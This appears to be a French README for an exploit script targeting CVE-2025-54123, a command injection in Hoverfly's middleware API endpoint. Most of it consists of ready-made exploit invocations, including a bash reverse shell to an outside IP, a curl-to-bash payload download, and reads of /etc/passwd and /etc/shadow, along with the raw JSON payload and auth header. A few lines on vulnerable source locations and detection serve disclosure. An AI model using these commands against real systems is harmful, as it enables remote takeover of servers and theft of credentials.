
CVE-2025-54123 Hoverfly - Injection de commande RCE via Middleware Authentifié
Hoverfly Injection de commande RCE dans le middleware authentifié | CVSS 9.8 CRITIQUE
Hoverfly <= 1.11.3 est vulnérable à une injection de commande authentifiée via le point d’accès /api/v2/hoverfly/middleware. Les identifiants administrateur sont requis, mais une fois authentifié, la fonctionnalité de middleware accepte les valeurs binaires et de script fournies par l’utilisateur sans validation, permettant l’exécution de commandes arbitraires.
middleware.go accepte des chemins binaires arbitraireslocal_middleware.go transmet directement l’entrée utilisateur à exec.Command()hoverfly_service.go exécute le middleware lors de la validationpython3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Point d’accès API Hoverfly (obligatoire)-u, --username - Nom d’utilisateur administrateur (obligatoire)-p, --password - Mot de passe administrateur (obligatoire)-c, --command - Commande à exécuter (obligatoire)--shell - Shell binaire à utiliser (par défaut : /bin/bash)# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware avec une charge utile malveillante/tmp/hoverfly_<random><shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
Les en-têtes HTTP incluent :
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - Aucune validation d’entrée sur le paramètre binairecore/middleware/local_middleware.go:14-19 - Utilisation non sécurisée de exec.Command()core/hoverfly_service.go:173 - Exécution immédiate lors de la validationRecherchez :
/api/v2/hoverfly/middleware/tmp/hoverfly//api/v2/hoverfly/middlewareDécouverte originale : @Kr1shna4garwal